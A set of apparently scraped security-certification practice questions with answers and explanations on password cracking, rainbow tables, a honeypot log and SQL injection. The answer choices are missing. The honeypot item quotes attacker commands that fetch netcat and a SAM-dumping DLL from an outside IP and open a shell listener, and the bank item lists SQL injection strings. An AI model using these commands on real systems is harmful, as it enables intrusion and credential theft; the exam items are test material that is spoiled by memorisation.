Which of the following is most effective against passwords? Select the Answer
Answer(s): B
The most effective means of password attack is brute force, in a brute force attack the program will attempt to use every possible combination of characters. While this takes longer then a dictionary attack, which uses a text file of real words, it is always capable of breaking the password.
Johnny is a member of the hacking group orpheus1. He is currently working on breaking into the Department of Defense’s front end exchange server. He was able to get into the server, located in a DMZ, by using an unused service account that had a very weak password that he was able to guess. Johnny wants to crack the administrator password, but does not have a lot of time to crack it. He wants to use a tool that already has the LM hashes computed for all possible permutations of the administrator password.What tool would be best used to accomplish this?
Answer(s): A
RainbowCrack is a general propose implementation of Philippe Oechslin's faster time-memory trade-off technique. In short, the RainbowCrack tool is a hash cracker. A traditional brute force cracker try all possible plaintexts one by one in cracking time. It is time consuming to break complex password in this way. The idea of time-memory trade-off is to do all cracking time computation in advance and store the result in files so called "rainbow table". It does take a long time to precompute the tables. But once the one time precomputation is finished, a time-memory trade-off cracker can be hundreds of times faster than a brute force cracker, with the help of precomputed tables.
The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The file Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini.He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below:“cmd1.exe /c open 213.116.251.162 >ftpcom” “cmd1.exe /c echo johna2k >>ftpcom” “cmd1.exe /c echo haxedj00 >>ftpcom” “cmd1.exe /c echo get nc.exe >>ftpcom” “cmd1.exe /c echo get samdump.dll >>ftpcom” “cmd1.exe /c echo quit >>ftpcom”“cmd1.exe /c ftp –s:ftpcom”“cmd1.exe /c nc –l –p 6969 e-cmd1.exe” What can you infer from the exploit given?
Answer(s): C
Bank of Timbuktu was a medium-sized, regional financial institution in Timbuktu. The bank has deployed a new Internet-accessible Web application recently, using which customers could access their account balances, transfer money between accounts, pay bills and conduct online financial business using a Web browser.John Stevens was in charge of information security at Bank of Timbuktu. After one month in production, several customers complained about the Internet enabled banking application. Strangely, the account balances of many bank’s customers has been changed! However, money hadn’t been removed from the bank. Instead, money was transferred between accounts. Given this attack profile, John Stevens reviewed the Web application’s logs and found the following entries:Attempted login of unknown user: JohnAttempted login of unknown user: sysaRAttempted login of unknown user: sencatAttempted login of unknown user: pete ‘’;Attempted login of unknown user: ‘ or 1=1—Attempted login of unknown user: ‘; drop table logins--Login of user jason, sessionID= 0x75627578626F6F6BLogin of user daniel, sessionID= 0x98627579539E13BELogin of user rebecca, sessionID= 0x90627579944CCB811Login of user mike, sessionID= 0x9062757935FB5C64Transfer Funds user jasonPay Bill user mikeLogout of user mikeWhat kind of attack did the Hacker attempt to carry out at the bank? (Choose the best answer)
The following part: Attempted login of unknown user: pete ‘’;Attempted login of unknown user: ‘ or 1=1-- Attempted login of unknown user: ‘; drop table logins--Clearly shows a hacker trying to perform a SQL injection by bypassing the login with the statement 1=1 and then dumping the logins table.
Bill is attempting a series of SQL queries in order to map out the tables within the database that he is trying to exploit.Choose the attack type from the choices given below.
He is trying to create a view of the characteristics of the target database, he is taking it’s fingerprints.
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